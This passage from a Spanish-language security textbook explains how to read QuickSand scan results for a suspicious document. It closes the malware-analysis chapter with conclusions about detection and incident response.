que se quiera analizar, al finalizar el Upload, se mostrarán los resultados, con los cuales quizás
ya estés familiarizado gracias a los ejercicios previos.

Como de seguro ya lo esperabas, entre los resultados arrojados nos encontramos con información
general acerca del file, como lo es el tamaño en bytes y los diferentes tipos de hashes asignados
a este. Vemos que hay un Label llamado “is_malware”, el cual nos indica que hay un valor de “2”
asignado un nivel de riego alto, a que hay dos piezas de malware dentro (La de Windows y la de
Mac OSX).

Seguido vemos el Score o “calificación” de esta muestra, que es 29, lo que significa “Elevado”.
También podemos ver que en el Label “Exploits” nos encontramos con varios de estos, resaltados
por su potencial o nivel de amenaza, lo que nos lleva a que los amarillos son los que inician la
319
rutina de ejecución y el rojo es el encargado de correr el payload que comprometerá el equipo,
otorgando así control remoto o una Shell.

por último tenemos al Label “Executables”, el cual contiene a “Executable_win_pe” que es un

PE, un binario.

Imagen 5.117: Sitio de QuickSand.

Usar QuickSand para detectar documentos o archivos adjuntos maliciosos provenientes del correo
electrónico o de otro lugar es bastante rápido y eficaz, ya que puede automatizar el análisis estático
o dinámico para visualizar ciertas anomalías existentes en una muestra de malware, además de
que también se puede hacer Submit de archivos PDF y demás formatos de documentos comunes,
incluidos los de la paquetería de Microsoft Office.

320
Conclusiones.

Los programas maliciosos o malware son la navaja suiza de los ciber criminales/ hackers o
atacantes, ya que es el medio más recurrido para obtener “beneficios” en el juego de la ciber
delincuencia y la seguridad informática, ya que el uso de este resulta en una operación global que
lleva a la pérdida o robo masivo de información personal o importante, afectando desde usuarios
comunes en la red hasta los servicios de infraestructura y empresas, por ello, el impacto del uso
de estas piezas de software pueden perjudicar potencialmente negocios o hasta organizaciones
en una infinidad de formas.

Saber cómo realizar análisis básicos de malware puede resultar en un largo camino hasta
convertirte en analista de malware o afín, para marcar una línea de lo mundano y pasar las ligas
mayores tocando a las muestra más serias en donde se debe tener sumo cualidad con lo que
haces, para esto tendrás que recorrer un camino largo para poder entender en un panorama más
extenso como es que se llevan de la mano ciertas cosas y como es que otras funcionan.

El propósito del análisis de malware suele ser proporcionar la información que necesitas para
poder responder a una intrusión de red. Sus fines de este tema suelen ser determinar exactamente
lo que sucedió y asegurarse de que ha localizado todas las máquinas y archivos infectados (Como
si fuese una cuarentena).

El objetivo de analizar algún archivo sospechoso o alguna muestra de malware es determinar

exactamente qué puede hacer un binario sospechoso particular, cómo detectarlo en su red y cómo
medir y contener su potencial perjudicial.

El análisis de malware es un tema demasiado extenso, y el que lo entiendas a detalle y te puedas

familiarizar mejor o lo suficiente para que comiences tus propias investigaciones informáticas
tomaría elaborar un libro completo de ello, sin embargo, con lo que aprendiste a lo largo de este
último capítulo será un incentivo considerable para que comiences a indagar en el tema por tu
cuenta.

321